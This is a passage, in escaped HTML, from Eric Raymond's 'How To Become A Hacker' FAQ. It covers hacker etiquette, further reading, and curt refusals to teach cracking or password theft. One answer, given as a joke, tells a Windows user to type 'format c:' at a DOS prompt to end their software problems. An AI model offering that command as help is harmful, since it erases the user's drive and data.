style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:10;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN"&gt;Don't get in flame wars on Usenet (or anywhere else).&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:10;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN"&gt;Don't call yourself a ‘cyberpunk’, and don't waste your time on anybody who does.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:10;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN"&gt;Don't post or email writing that's full of spelling errors and bad grammar.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;The only reputation you'll make doing any of these things is as a twit. Hackers have long memories — it could take you years to live your early blunders down enough to be accepted.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;The problem with screen names or handles deserves some amplification. Concealing your identity behind a handle is a juvenile and silly behavior characteristic of crackers, warez d00dz, and other lower life forms. Hackers don't do this; they're proud of what they do and want it associated with their &lt;i&gt;real&lt;/i&gt; names. So if you have a handle, drop it. In the hacker culture it will only mark you as a loser.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;Other Resources&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;Paul Graham has written an essay called &lt;a href="http://www.paulgraham.com/gh.html" target="_top"&gt;Great Hackers&lt;/a&gt;, and another on &lt;a href="http://www.paulgraham.com/college.html" target="_top"&gt;Undergraduation&lt;/a&gt;, in which he speaks much wisdom.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;There is a document called &lt;a href="http://samizdat.mines.edu/howto/HowToBeAProgrammer.html" target="_top"&gt;How To Be A Programmer&lt;/a&gt; that is an excellent complement to this one. It has valuable advice not just about coding and skillsets, but about how to function on a programming team.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;I have also written &lt;a href="http://catb.org/%7Eesr/writings/hacker-history/hacker-history.html" target="_top"&gt;&lt;i&gt;A Brief History Of Hackerdom&lt;/i&gt;&lt;/a&gt;.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;I have written a paper, &lt;a href="http://catb.org/%7Eesr/writings/cathedral-bazaar/index.html" target="_top"&gt;&lt;i&gt;The Cathedral and the Bazaar&lt;/i&gt;&lt;/a&gt;, which explains a lot about how the Linux and open-source cultures work. I have addressed this topic even more directly in its sequel &lt;a href="http://catb.org/%7Eesr/writings/homesteading/" target="_top"&gt;&lt;i&gt;Homesteading the Noosphere&lt;/i&gt;&lt;/a&gt;.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;Rick Moen has written an excellent document on &lt;a href="http://linuxmafia.com/faq/Linux_PR/newlug.html" target="_top"&gt;how to run a Linux user group&lt;/a&gt;.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;Rick Moen and I have collaborated on another document on &lt;a href="http://catb.org/%7Eesr/faqs/smart-questions.html" target="_top"&gt;How To Ask Smart Questions&lt;/a&gt;. This will help you seek assistance in a way that makes it more likely that you will actually get it.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;If you need instruction in the basics of how personal computers, Unix, and the Internet work, see &lt;a href="http://en.tldp.org/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/" target="_top"&gt;The Unix and Internet Fundamentals HOWTO&lt;/a&gt;. &lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;When you release software or write patches for software, try to follow the guidelines in the &lt;a href="http://en.tldp.org/HOWTO/Software-Release-Practice-HOWTO/index.html" target="_top"&gt;Software Release Practice HOWTO&lt;/a&gt;.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;If you enjoyed the Zen poem, you might also like &lt;a href="http://catb.org/%7Eesr/writings/unix-koans" target="_top"&gt;Rootless Root: The Unix Koans of Master Foo&lt;/a&gt;.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Frequently Asked Questions&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Q:Which are the best hacking tools?&lt;/p&gt;&lt;p&gt;A:&lt;a href="http://www.google.com"&gt;Google&lt;/a&gt;,&lt;a href="http://www.wikipedia.org"&gt;Wiki&lt;/a&gt; and your brain.&lt;br /&gt;&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;table class="MsoNormalTable" style="" border="0" cellpadding="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;How do I tell if I am already a   hacker?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Ask yourself the following three   questions:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;· Do you speak code, fluently?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;· Do you identify with the goals   and values of the hacker community?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;· Has a well-established member of   the hacker community ever called you a hacker?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;If you can answer yes to &lt;i&gt;all   three&lt;/i&gt; of these questions, you are already a hacker. No two alone are   sufficient.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;The first test is about skills.   You probably pass it if you have the minimum technical skills described   earlier in this document. You blow right through it if you have had a   substantial amount of code accepted by an open-source development project.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;The second test is about attitude.   If the &lt;a href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#attitude" title="The Hacker Attitude"&gt;five principles of the hacker mindset&lt;/a&gt; seemed   obvious to you, more like a description of the way you already live than   anything novel, you are already halfway to passing it. That's the inward   half; the other, outward half is the degree to which you identify with the   hacker community's long-term projects.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;Here is an incomplete but   indicative list of some of those projects: Does it matter to you that Linux   improve and spread? Are you passionate about software freedom? Hostile to monopolies?   Do you act on the belief that computers can be instruments of empowerment   that make the world a richer and more humane place?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;But a note of caution is in order   here. The hacker community has some specific, primarily defensive political   interests — two of them are defending free-speech rights and fending off   "intellectual-property" power grabs that would make open source   illegal. Some of those long-term projects are civil-liberties organizations   like the Electronic Frontier Foundation, and the outward attitude properly   includes support of them. But beyond that, most hackers view attempts to   systematize the hacker attitude into an explicit political program with   suspicion; we've learned, the hard way, that these attempts are divisive and   distracting. If someone tries to recruit you to march on your capitol in the   name of the hacker attitude, they've missed the point. The right response is   probably “Shut up and show them the code.”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;The third test has a tricky   element of recursiveness about it. I observed in &lt;a href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#what_is" title="What Is a Hacker?"&gt;the section called “What Is a Hacker?”&lt;/a&gt; that   being a hacker is partly a matter of belonging to a particular subculture or   social network with a shared history, an inside and an outside. In the far   past, hackers were a much less cohesive and self-aware group than they are   today. But the importance of the social-network aspect has increased over the   last thirty years as the Internet has made connections with the core of the   hacker subculture easier to develop and maintain. One easy behavioral index   of the change is that, in this century, we have our own T-shirts.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;Sociologists, who study networks   like those of the hacker culture under the general rubric of "invisible   colleges", have noted that one characteristic of such networks is that   they have gatekeepers — core members with the social authority to endorse new   members into the network. Because the "invisible college" that is   hacker culture is a loose and informal one, the role of gatekeeper is   informal too. But one thing that all hackers understand in their bones is   that not every hacker is a gatekeeper. Gatekeepers have to have a certain   degree of seniority and accomplishment before they can bestow the title. How   much is hard to quantify, but every hacker knows it when they see it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Will you teach me how to hack?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Since first publishing this page,   I've gotten several requests a week (often several a day) from people to   "teach me all about hacking". Unfortunately, I don't have the time   or energy to do this; my own hacking projects, and working as an open-source   advocate, take up 110% of my time.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;Even if I did, hacking is an   attitude and skill you basically have to teach yourself. You'll find that   while real hackers want to help you, they won't respect you if you beg to be   spoon-fed everything they know.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;Learn a few things first. Show   that you're trying, that you're capable of learning on your own. Then go to   the hackers you meet with specific questions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;If you do email a hacker asking   for advice, here are two things to know up front. First, we've found that   people who are lazy or careless in their writing are usually too lazy and   careless in their thinking to make good hackers — so take care to spell   correctly, and use good grammar and punctuation, otherwise you'll probably be   ignored. Secondly, don't &lt;i&gt;dare&lt;/i&gt; ask for a reply to an ISP account that's   different from the account you're sending from; we find people who do that   are usually thieves using stolen accounts, and we have no interest in   rewarding or assisting thievery.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;How can I get started, then?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;The best way for you to get   started would probably be to go to a LUG (Linux user group) meeting. You can   find such groups on the &lt;a href="http://www.tldp.org/links/index.html" target="_top"&gt;LDP General Linux Information Page&lt;/a&gt;; there is probably one   near you, possibly associated with a college or university. LUG members will   probably give you a Linux if you ask, and will certainly help you install one   and get started.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;When do you have to start? Is it   too late for me to learn?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Any age at which you are motivated   to start is a good age. Most people seem to get interested between ages 15   and 20, but I know of exceptions in both directions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;How long will it take me to learn   to hack?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;That depends on how talented you   are and how hard you work at it. Most people who try can acquire a respectable   skill set in eighteen months to two years, if they concentrate. Don't think   it ends there, though; in hacking (as in many other fields) it takes about   ten years to achieve mastery. And if you are a real hacker, you will spend   the rest of your life learning and perfecting your craft.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Is Visual Basic a good language to   start with?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;If you're asking this question, it   almost certainly means you're thinking about trying to hack under Microsoft   Windows. This is a bad idea in itself. When I compared trying to learn to   hack under Windows to trying to learn to dance while wearing a body cast, I   wasn't kidding. Don't go there. It's ugly, and it never stops being ugly.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;There is a specific problem with   Visual Basic; mainly that it's not portable. Though there is a prototype   open-source implementations of Visual Basic, the applicable ECMA standards   don't cover more than a small set of its programming interfaces. On Windows   most of its library support is proprietary to a single vendor (Microsoft); if   you aren't &lt;i&gt;extremely&lt;/i&gt; careful about which features you use — more   careful than any newbie is really capable of being — you'll end up locked   into only those platforms Microsoft chooses to support. If you're starting on   a Unix, much better languages with better libraries are available. Python,   for example.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;Also, like other Basics, Visual   Basic is a poorly-designed language that will teach you bad programming   habits. No, &lt;i&gt;don't&lt;/i&gt; ask me to describe them in detail; that explanation   would fill a book. Learn a well-designed language instead.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;One of those bad habits is   becoming dependent on a single vendor's libraries, widgets, and development   tools. In general, any language that isn't fully supported under at least   Linux or one of the BSDs, and/or at least three different vendors' operating   systems, is a poor one to learn to hack in.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Would you help me to crack a   system, or teach me how to crack?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;No. Anyone who can still ask such   a question after reading this FAQ is too stupid to be educable even if I had   the time for tutoring. Any emailed requests of this kind that I get will be   ignored or answered with extreme rudeness.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;How can I get the password for   someone else's account?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;This is cracking. Go away, idiot.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;How can I break into/read/monitor   someone else's email?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;This is cracking. Get lost, moron.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;How can I steal channel op   privileges on IRC?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;This is cracking. Begone, cretin.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;I've been cracked. Will you help   me fend off further attacks?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;No. Every time I've been asked   this question so far, it's been from some poor sap running Microsoft Windows.   It is not possible to effectively secure Windows systems against crack attacks;   the code and architecture simply have too many flaws, which makes securing   Windows like trying to bail out a boat with a sieve. The only reliable   prevention starts with switching to Linux or some other operating system that   is designed to at least be capable of security.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;I'm having problems with my   Windows software. Will you help me?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Yes. Go to a DOS prompt and type   "format c:". Any problems you are experiencing will cease within a   few minutes.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Where can I find some real hackers   to talk with?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;The best way is to find a Unix or   Linux user's group local to you and go to their meetings (you can find links   to several lists of user groups on the &lt;a href="http://www.tldp.org/" target="_top"&gt;LDP&lt;/a&gt; site at ibiblio).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;(I used to say here that you   wouldn't find any real hackers on IRC, but I'm given to understand this is   changing. Apparently some real hacker communities, attached to things like   GIMP and Perl, have IRC channels now.)&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Can you recommend useful books   about hacking-related subjects?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;I maintain a &lt;a style="border-bottom-style: groove;" href="http://en.tldp.org/HOWTO/Reading-List-HOWTO/index.html" target="_top"&gt;Linux   Reading List HOWTO&lt;/a&gt; that you may find helpful. The &lt;a style="border-bottom-style: groove;" href="http://www.catb.org/%7Eesr/faqs/loginataka.html" target="_top"&gt;Loginataka&lt;/a&gt;   may also be interesting.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;For an introduction to Python, see   the &lt;a href="http://www.python.org/doc/Intros.html" target="_top"&gt;introductory   materials&lt;/a&gt; on the Python site.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Do I need to be good at math to   become a hacker?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span 